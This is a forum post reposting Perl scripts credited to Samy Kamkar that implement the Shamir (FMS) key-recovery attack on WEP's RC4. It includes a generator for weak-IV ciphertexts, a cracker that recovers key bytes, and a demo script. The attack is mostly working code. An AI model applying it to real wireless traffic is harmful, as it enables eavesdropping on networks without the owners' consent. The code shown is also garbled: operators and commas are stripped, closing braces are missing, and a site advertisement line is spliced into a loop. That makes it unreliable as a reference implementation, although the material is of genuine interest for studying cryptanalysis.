I've implemented a version of Shamir's attack on WEP, easily recovering a WEP key from encrypted wireless traffic due to weak keys and poor IV mixing into the RC4 key.

Source Code : 
# Generate 5000 packets encrypted with key "deadbeef" and crack!

perl rc4-generate.pl deadbeef 5000 perl rc4-crack.pl P 
Source Code : 
#!/usr/bin/perl
#
# implementation of RC4 cracking, given the first byte of plaintext + IV
# expects input like:
# IV: 254 130 35 - cipher: 21a90f203a66763f33
#
# example usage:
#
#   >  perl rc4-generate.pl deadbeef 5000 | perl rc4-crack.pl P
#
# with 5000 packets, we should get the key 50% of the time
# due to the birthday paradox. happy birthday to me.
#
# -samy kamkar, [email protected]

use strict;

die 
"usage: $0 <first plaintext byte>\n" unless @ARGV;
my $byte ord(shift);
my (@S, @key);
my %crack;
my ($i$j$k$acquired) = (0000);
my $ivs;

my %IVs;
while (<
STDIN>)
{
    
$ivs++;
    
my (undef$IV1$IV2$IV3undefundef$c) = split;
    
push @{$IVs{$IV1}}, [ $IV2$IV3, (hex(substr($c02)) ^ $byte) ];
}

while (
1)
{
    
# only look at the IVs that help us here
    
foreach (@{$IVs{$acquired+3}})
    {
        
my ($IV1$IV2$IV3$c) = ($acquired 3, @{$_});

        
# initialize what we know
        
$j $i 0;
        @
= (.. 255);
        
my @= ($IV1$IV2$IV3, @key);
        for 
$i (.. $acquired)
        {
            
$j = ($j $S[$i] + $K[$i]) % 256;
            (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
        }

        
# obtain S[3]
        
if ($S[1] < $acquired && $S[1] + $S[$S[1]] == $acquired 3)
        {
            
$crack{($c $j $S[$acquired+3]) % 256}++;
        }
    }

    
# find our most likely key
    
my ($c$count$k);
    foreach 
my $crack (keys %crack)
    {
        if (
$crack{$crack} >= $count)
        {
            
$k $crack;
            
$count $crack{$crack};
        }
        
$c += $crack{$crack};
    }
    %
crack = ();

    
# add to key if > 4% hit
    
if ($c && $count $c >= 0.03 && $c $ivs >= 0.03)
    {
        
$key[$acquired++] = $k;
        print 
"Acquired " unpack("H2"chr($k)) . " [$k] - $count/$c recovered (" int(100*($count/$c)) . "%)\n";
    }
    else
    {
print 
"lame $c - $count/$c !>= 0.03, $c/$ivs !>= 0.03\n";
        
last;
    }
}

my $newkey;
for (
my $i 0$i < @key$i++)
{
    if (
$key[$i] == $i 3)
    {
        
chop($newkey);
        print 
"\nKey: $newkey (unlikely " join(":"map unpack("H2"chr($_)) } @key) . ")\n";
        
$newkey undef;
        
last;
    }
    else
    {
        
$newkey .= unpack("H2"chr($key[$i])) . ":";
    }
}

if (
$newkey)
{
    print 
"\nKey: " join(":"map unpack("H2"chr($_)) } @key) . "\n";

Source Code : 
#!/usr/bin/perl
#
# implementation of the RC4 algorithm with the 24-bit WEP IV
# as well as an attack on the WEP implementation
#
# -samy kamkar, [email protected]

use strict;

my (@S$i$j);

die 
"usage: $0 <hex key>\n" unless @ARGV;
my ($key$times) = @ARGV;
my @key map hex($_) } $key =~ /(..)/g;

# our KNOWN 24 bit IV. the first 8 bits allows us to determine K[3] for N packets (we use 100 to be more than safe)
my @IV = (int(rand(256)), int(rand(256)), int(rand(256)));

# ok, intentionally weakened...takes less packets to pwn
@IV = (int(rand(20)), 255int(rand(256)));

# join our IV and key
my @= (@IV, @key);

# RC4 initialization
@= ();
$i $j 0;
foreach 
$i (.. 255)
{
    
$S[$i] = $i;
}
foreach 
$i (.. 255)
{
    
$j = ($j $S[$i] + $K[$i % @K]) % 256;
    (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
}
$i $j 0;

my $b;
while (<
STDIN>)
{
    foreach 
my $byte (split(//))
    
{

[Login or Register to remove this advertisement]

        print 
chr(ord($byte) ^ gen_key());
    }
}

sub gen_key
{
    
# keystream generator
    
$i = ($i 1) % 256;
    
$j = ($j $S[$i]) % 256;
    (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
    
my $t = ($S[$i] + $S[$j]) % 256;
    return 
$S[$t];

Source Code : 
#!/usr/bin/perl
#
# implementation of the RC4 algorithm with the 24-bit WEP IV
# as well as an attack on the WEP implementation
#
# -samy kamkar, [email protected]

use strict;

my (@S$i$j);

die 
"usage: $0 <hex key> [packets (default: infinite)]\n" unless @ARGV;
my ($key$times) = @ARGV;
my @key map hex($_) } $key =~ /(..)/g;

# the rest of our key, randomness that we try to determine
my $plaintext "Plaintext";

# loop over times
do
{
    
# our KNOWN 24 bit IV. the first 8 bits allows us to determine K[3] for N packets (we use 100 to be more than safe)
    
my @IV = (int(rand(256)), int(rand(256)), int(rand(256)));

    
# ok, intentionally weakened...takes less packets to pwn
    
@IV = (int(rand(20)), 255int(rand(256)));

    
# join our IV and key
    
my @= (@IV, @key);

    
# RC4 initialization
    
@= ();
    
$i $j 0;
    foreach 
$i (.. 255)
    {
        
$S[$i] = $i;
    }
    foreach 
$i (.. 255)
    {
        
$j = ($j $S[$i] + $K[$i % @K]) % 256;
        (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
    }
    
$i $j 0;

    
my $b;
    foreach 
my $byte (split(//, $plaintext))
    
{
        
$b .= unpack("H2"chr(ord($byte) ^ gen_key()));
    }
    print 
"IV: @IV - cipher: $b\n";

} while (--
$times);

sub gen_key
{
    
# keystream generator
    
$i = ($i 1) % 256;
    
$j = ($j $S[$i]) % 256;
    (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
    
my $t = ($S[$i] + $S[$j]) % 256;
    return 
$S[$t];

Source Code : 
#!/usr/bin/perl
#
# implementation of the RC4 algorithm with the 24-bit WEP IV
# as well as an attack on the WEP implementation
#
# -samy kamkar, [email protected]

use strict;

my (%test, @S$i$j);

# we produce 100 "packets" in order to satisfy a 5% correlation
for my $V (.. 100)
{

# our KNOWN 24 bit IV. the first 8 bits allows us to determine K[3] for N packets (we use 100 to be more than safe)
my @IV = (3255$V);

# the rest of our key, randomness that we try to determine
my @= (101520265995511228877);
my $plaintext "Plaintext";

if (
$V == 1)
{
    print 
"IV + Key: @IV + @K\n";
    print 
"Plaintext: $plaintext\n";
}

# join our IV and key
@= (@IV, @K);

# RC4 initialization
@= ();
$i $j 0;
foreach 
$i (.. 255)
{
    
$S[$i] = $i;
}

print 
"S: @S[0..10]\n" if $V == 1;
foreach 
$i (.. 255)
{
    
$j = ($j $S[$i] + $K[$i % @K]) % 256;
    (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
}
print 
"Post-init-S: @S[0..10]\n";
$i $j 0;

my $b;
foreach 
my $byte (split(//, $plaintext))
{
    
$b .= unpack("H2"chr(ord($byte) ^ gen_key()));
}
if (
$b =~ /(..)/)
{
    print 
"B: C[0]=$1 C[0]=" ord(pack("H2", $1)) . " - K[0]?=" . (((ord(pack("H2", $1)) ^ ord("P")) - $V) % 256) . "\n";
    
$test{(((ord(pack("H2", $1)) ^ ord("P")) - $V) % 256)}++;
}
#print "\n";
}

sub gen_key
{
    
# keystream generator
    
$i = ($i 1) % 256;
    
$j = ($j $S[$i]) % 256;
    (
$S[$i], $S[$j]) = ($S[$j], $S[$i]);
    
my $t = ($S[$i] + $S[$j]) % 256;
    return 
$S[$t];
}

print 
"\nKnowing IV, 'P', and 100 packets, searching for K[3] with 5% probability...\n";
foreach (
keys %test)
{
    if (
$test{$_} >= 3)
    {
        print 
"K[3]: $_ ($test{$_} matches)\n";
    }

THANKS TO SAMY
whateverfor Reviewed by whateverfor on . WEP [RC4] Key Recovery [Cryptanalytic Attack] I've implemented a version of Shamir's attack on WEP, easily recovering a WEP key from encrypted wireless traffic due to weak keys and poor IV mixing into the RC4 key. # Generate 5000 packets encrypted with key "deadbeef" and crack! perl rc4-generate.pl deadbeef 5000 | perl rc4-crack.pl P #!/usr/bin/perl # # implementation of RC4 cracking, given the first byte of plaintext + IV # expects input like: Rating: 5